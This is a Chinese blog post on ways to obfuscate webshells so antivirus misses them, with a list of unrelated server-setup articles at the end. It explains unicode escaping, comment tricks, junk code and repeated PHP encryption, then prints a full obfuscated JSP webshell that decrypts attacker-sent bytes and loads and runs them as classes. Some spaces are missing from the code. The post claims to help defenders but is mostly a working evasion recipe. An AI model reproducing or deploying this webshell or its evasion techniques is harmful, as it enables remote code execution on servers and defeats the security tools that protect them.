Webshell混淆免杀的一些思路
qiyuwang 2025-04-27 15:59 7 浏览 0 评论
简介
为了避免被杀软检测到,黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路,帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静态免杀的目的是为了规避杀毒软件的检测机制,使恶意软件能够在目标系统上长时间地存活和执行。也就是说让webshell尽量和原本的代码不一致。
混淆字符
混淆字符是最基本的混淆webshell手段之一,混淆字符集可以使得杀毒软件无法检测到其原有的代码特征。具体实现就是将webshell的原本的字符编码成另外的字符。这里以哥斯拉的jsp webshell示例。因为java是默认支持unicode编码的。
Java代码示例:
然后可以上传vt查杀可以看到还是会被挺多杀软识别的。
现在可以通过给个提到的编码进行替换原有的关键字,再次上传vt可以发现少报毒了几个杀软。当然这个只是最简单的方法而已,只是证明能够通过一些字符编码使得特征不那么明显,实战中并不能完全靠字符编码绕过杀软,字符编码主要在实际混淆webshell中只能够起到一个辅助作用。
利用注释
利用注释这种方法是目前较为常用的方法之一,其利用的是部分杀软不识别webshell中的注释的特性,比如杀软匹配的规则是eval()这个函数,那么我们就可以利用注释符号将原本的代码修改成eval/*xxxxx*/()这种写法去进行绕过,这使得杀软的规则匹配失败的同时原本的代码还能够正常运行。
Java示例:
然后这边是给原本的webshell加上注释之后,丢到vt上的查杀效果。
值得注意的是,现在大部分杀软会匹配程序注释规则,但是并不意味着我们无法使用注释符号去进行绕过。比如杀软会匹配出/*注释内容...*/然后选择性无视注释内部的东西。那么我们就可以使用String s = "/*"; code...; String ss = "*/"; code...就是webshell的一行正常代码。这样杀软可能会把两个字符串/* */ 中间的值认为是注释内容从而匹配恶意代码失败。
改变代码特征
改变代码特征是指修改代码原本的写法但是不改变其功能,因为大部分杀软静态查杀webshell会有一个语句的特征,比如单纯的php一句话木马eval($_POST['x']);很容易就会被杀软查杀,但是服务器上运行的php代码有一些文件含有eval,然后其参数是根据一系列的函数调用进行传递的就不会被杀软注意到。这也就是最容易绕过杀软的一个特性,可以改变程序的代码特征用于绕过杀软。具体就是比如可以用函数封装webshell某段代码,用三元表达式代替if else,用一些代替写法比如java中的int类型1 可以写作0x1或者是10000-9999这种写法代替,用for循环代替while循环,也可以是添加任意无用垃圾代码等。
部分代码截图:
可以看到免杀效果其实还不是很理想,因为实际过程中的免杀并不是单一的方法就能够完成的,往往都需要很多种方法混合使用效果才会达到令人满意的地步。以下代码是以上三种方法混合使用混淆的。
全部代码:
<%@ page import="java.io.InputStream" %>
<%@ page import="javax.crypto.spec.SecretKeySpec" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.io.IOException" %>
<%! Stringxc = "\u0033\u0063\u0036\u0065\u0030"/*\u3333*/ +/*\u3333*/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061";
classRegisterextendsClassLoader {
publicRegister(ClassLoader username) {
super(username);
}
public Class Query/*\u3333*/(byte[] password) {
intlen = password.length;
Strings1 = "/*";
Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, len);
Strings2 = "*/";
return aClass;
}
}
publicbyte[] x(byte[] s, boolean m) {
// 这行代码换了个顺序
byte[] bs = xc.getBytes();
try {
Stringsss = "/*";
Stringdecode = "\u0041\u0045\u0053";
Cipherc = Cipher.getInstance(decode);
Stringccc = "*/";
// if代替了原本的三元表达式
intflag = 0xAFFFF;
if (m) {
flag = 1;
} else {
flag = 2;
}
Stringacaw = "/*";
c.init(flag, newSecretKeySpec(bs, decode));
StringANANAWU = "*/";
Stringstring1 = "/*";
byte[] bytes = c.doFinal(s);
Stringstring12 = "*/";
return bytes;
} catch (Exception e) {
returnnull;
}
}
publicvoidrun(Object o, ByteArrayOutputStream bos, PageContext pageContext) {
// 添加注释
/*o.equls(null)*/
intx = 10;
inty = 20;
// 这里有一些毫无意义的操作
x = (x + y) * 2;
y = x - y;
StringmeaninglessString = "Hello, this is a meaningless string.";
if (x > y) {
x = x * 2;
} else {
y = y * 2;
}
Stringsss = "/*";
o./*o.equls(null)*/equals/*o.equls(null)*/(bos);
Stringccc = "*/";
o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);
Stringac = "//";
o.toString/*o.equls(null)*/();
}
publicvoidrun2(byte[] data_bytes, HttpSession session) {
Stringpy = "\u0070\u0061\u0079" +/*as*/"" + "\u006c\u006f\u0061\u0064";
RegisterREG = newRegister(this.getClass().getClassLoader());
Classcs = REG.Query(data_bytes);
session.setAttribute(py, cs);
}
public Object os_return(HttpSession session) {
Stringpy = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";
return session.getAttribute(py);
}
publicvoidpull(ByteArrayOutputStream bos, OutputStream os) throws IOException {
byte[] x = x(bos.toByteArray(), true);
os.write(x);
}
publicvoidsetAttribute(HttpServletRequest request, String key, Object value) {
request.setAttribute(key, value);
}
public ByteArrayOutputStream getBos() {
ByteArrayOutputStreamarrOut = null;
arrOut = newByteArrayOutputStream();
return arrOut;
}
%><%
try {
Stringheader = request.getHeader/*o.equls(null)*/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068");
Stringpy = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";
intlength = Integer.valueOf/*o.equls(null)*/(header);
byte[] data_bytes = newbyte[/*o.equls(null)*/length];
InputStreamis = request.getInputStream();
// for循环替代了while循环
for (int_num = 0; _num < data_bytes./*o.equls(null)*/length; _num += is.read(data_bytes, _num, data_bytes.length));
// 原本的false变成了 !true
data_bytes = x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);
OutputStreamos = response.getOutputStream();
ByteArrayOutputStreambos = getBos();
booleanflag = session.getAttribute(py) == null;
if (flag) {
run2(data_bytes, session);
} else {
setAttribute(request, "\u0070\u0061\u0072\u0061\u006d" +/*aaaa*/""/*SSS*/ + "\u0065\u0074\u0065\u0072\u0073", data_bytes);
Strings = "/*";Classcs = (Class) os_return(session);Stringc = "*/";
Objectf = (cs).newInstance();
run(f, bos, pageContext);
/* 垃圾代码 */
inta = 10;
intb = 20;
for (inti = 0; i < 5; i++) {
a += b;
b -= a;
}
StringmeaninglessString = "This is a meaningless string.";
int[] numbers = {1, 2, 3, 4, 5};
for (int num : numbers) {
if (num % 2 == 0) {
// 不执行任何操作
} else {
// 不执行任何操作
}
}
/* 垃圾代码 */
pull(bos, os);
}
} catch (Exception e) {
}
%>
免杀效果:
Ps: 以上代码仅仅提供一个思路,实际过程中并不用如此多代码量,仅需要bypass掉目标服务器上的杀软即可。
利用代码加密工具
上面介绍了一些java代码的混淆,php的混淆通常来说更加简单,因为php这门语言特性,使得很多厂商都会使用php代码加密来保护代码使得代码不会被别人轻易破解/篡改。我们可以利用这些加密来实现免杀的功能。
比如随便找一些php在线混淆哥斯拉的webshell
链接也是没有问题的
虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。
经过3次混淆的phpwebshell,反正我是认不出来了。
类似aspx的混淆以及java其实都可以使用代码混淆的方法去绕过,只需要搜索一下混淆器即可。
总结
文本主要分享了一下自己的一些webshell免杀思路。其实webshell免杀的思路无非就是修改webshell的特征,不管用手段如何最终达到的肯定是这样的一个目的。当然个人觉得是多种手法混用效果是最好的,基本上手动混淆的webshell时效性也比用工具混淆的webshell要长一些。
相关推荐
- 基于Docker方式安装与部署Camunda流程引擎
-
1Camunda简介官网:https://docs.camunda.org/manual/7.19/installation/docker/Camunda是一个轻量级、开源且高度灵活的工作流和决策自...
- 宝塔Linux面板如何部署Java项目?(宝塔面板 linux)
-
通过宝塔面板部署Java还是很方便的,至少不需要自己输入tomcat之类的安装命令了。在部署java项目前,我还是先说下目前的系统环境,如果和我的系统环境不一样,导致部署不成功,那你可能需要去找其他资...
- 浪潮服务器如何用IPMI安装Linux系统
-
【注意事项】此处以浪潮服务器为例进行演示所需使用的软件:Chrome浏览器个人PC中需要预先安装java,推荐使用jdk-8u181-windows-x64.exe【操作步骤】1、在服务器的BIOS中...
- Centos7环境Hadoop3集群搭建(hadoop集群环境搭建实验报告)
-
由于项目需要存储历史业务数据,经过评估数据量会达到100亿以上,在原有mongodb集群和ES集群基础上,需要搭建Hbase集群进行调研,所以首先总结一下Hadoop集群的搭建过程。一、三个节点的集群...
- Hadoop高可用集群搭建及API调用(hadoop高可用原理)
-
NameNodeHA背景在Hadoop1中NameNode存在一个单点故障问题,如果NameNode所在的机器发生故障,整个集群就将不可用(Hadoop1中虽然有个SecorndaryNameNo...
- 使用Wordpress搭建一个属于自己的网站
-
现在开源的博客很多,但是考虑到wordpress对网站的seo做的很好,插件也多。并且全世界流量排名前1000万的网站有33.4%是用Wordpress搭建的!所以尝试用Wordpress搭建一个网站...
- Centos 安装 Jenkins(centos 安装ssh)
-
1、Java安装查看系统是否已安装Javayumlistinstalled|grepjava...
- Java教程:gitlab-使用入门(java中的git)
-
1导读本教程主要讲解了GitLab在项目的环境搭建和基本的使用,可以帮助大家在企业中能够自主搭建GitLab服务,并且可以GitLab中的组、权限、项目自主操作...
- Dockerfile部署Java项目(docker部署java应用)
-
1、概述本文主要会简单介绍什么是Docker,什么是Dockerfile,如何安装Docker,Dockerfile如何编写,如何通过Dockerfile安装jar包并外置yaml文件以及如何通过do...
- 如何在Eclipse中搭建Zabbix源码的调试和开发环境
-
Zabbix是一款非常优秀的企业级软件,被设计用于对数万台服务器、虚拟机和网络设备的数百万个监控项进行实时监控。Zabbix是开放源码和免费的,这就意味着当出现bug时,我们可以很方便地通过调试源码来...
- Java路径-02-Java环境配置(java环境搭建及配置教程)
-
1Window环境配置1.1下载...
- 35.Centos中安装python和web.py框架
-
文章目录前言1.Centos7python:2.Centos8python:3.进行下载web.py框架然后应用:4.安装好之后进行验证:5.总结:前言...
- 《我的世界》服务器搭建(我的世界服务器如何搭建)
-
1.CentOS7环境1.1更改YUM源#下载YUM源文件curl-o/etc/yum.repos.d/CentOS-Base.repohttps://mirrors.aliyun.com...
- CentOS 7 升级 GCC 版本(centos7.4升级7.5)
-
1.GCC工具介绍GCC编译器:...
- Linux安装Nginx详细教程(linux安装配置nginx)
-
环境准备1.因为Nginx依赖于gcc的编译环境,所以,需要安装编译环境来使Nginx能够编译起来。命令:yuminstallgcc-c++显示完毕,表示安装完成:2.Nginx的http模块需要...
你 发表评论:
欢迎- 一周热门
- 最近发表
-
- 基于Docker方式安装与部署Camunda流程引擎
- 宝塔Linux面板如何部署Java项目?(宝塔面板 linux)
- 浪潮服务器如何用IPMI安装Linux系统
- Centos7环境Hadoop3集群搭建(hadoop集群环境搭建实验报告)
- Hadoop高可用集群搭建及API调用(hadoop高可用原理)
- 使用Wordpress搭建一个属于自己的网站
- Centos 安装 Jenkins(centos 安装ssh)
- Java教程:gitlab-使用入门(java中的git)
- Dockerfile部署Java项目(docker部署java应用)
- 如何在Eclipse中搭建Zabbix源码的调试和开发环境
- 标签列表
-
- navicat无法连接mysql服务器 (65)
- 下横线怎么打 (71)
- flash插件怎么安装 (60)
- lol体验服怎么进 (66)
- ae插件怎么安装 (62)
- yum卸载 (75)
- .key文件 (63)
- cad一打开就致命错误是怎么回事 (61)
- rpm文件怎么安装 (66)
- linux取消挂载 (81)
- ie代理配置错误 (61)
- ajax error (67)
- centos7 重启网络 (67)
- centos6下载 (58)
- mysql 外网访问权限 (69)
- centos查看内核版本 (61)
- ps错误16 (66)
- nodejs读取json文件 (64)
- centos7 1810 (59)
- 加载com加载项时运行错误 (67)
- php打乱数组顺序 (68)
- cad安装失败怎么解决 (58)
- 因文件头错误而不能打开怎么解决 (68)
- js判断字符串为空 (62)
- centos查看端口 (64)